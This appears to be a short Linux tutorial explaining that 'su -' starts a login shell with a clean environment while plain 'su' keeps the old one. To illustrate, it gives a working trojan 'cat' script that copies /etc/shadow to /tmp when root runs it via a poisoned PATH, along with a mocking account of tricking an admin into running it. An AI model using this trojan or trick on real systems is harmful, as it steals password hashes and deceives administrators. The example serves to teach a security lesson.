su su- sudo

su su- sudo

su - logs you in completely as root, whereas su makes it so you are pretending to be root.

The hyphen has two effects:

1) switches from the current directory to the home directory of the new user (e.g., to /root in the case of the root user) by logging in as that user

2) changes the environmental variables to those of the new user as dictated by their ~/.bashrc. That is, if the first argument to su is a hyphen, the current directory and environment will be changed to what would be expected if the new user had actually logged on to a new session (rather than just taking over an existing session).

su - invokes a login shell after switching the user. A login shell resets most environment variables, providing a clean base.

su just switches the user, providing a normal shell with an environment nearly the same as with the old user.

Imagine, you're a software developer with normal user access to a machine and your ignorant admin just won't give you root access. Let's (hopefully) trick him.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Now, you ask your admin why you can't cat the dummy file in your home folder, it just won't work!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

If your admin isn't that smart or just a bit lazy, he might come to your desk and try with his super-user powers:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

Wow! Thanks, super admin!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

He, he.

You maybe noticed that the corrupted $PATH variable was not reset. This wouldn't have happened, if the admin invoked su - instead.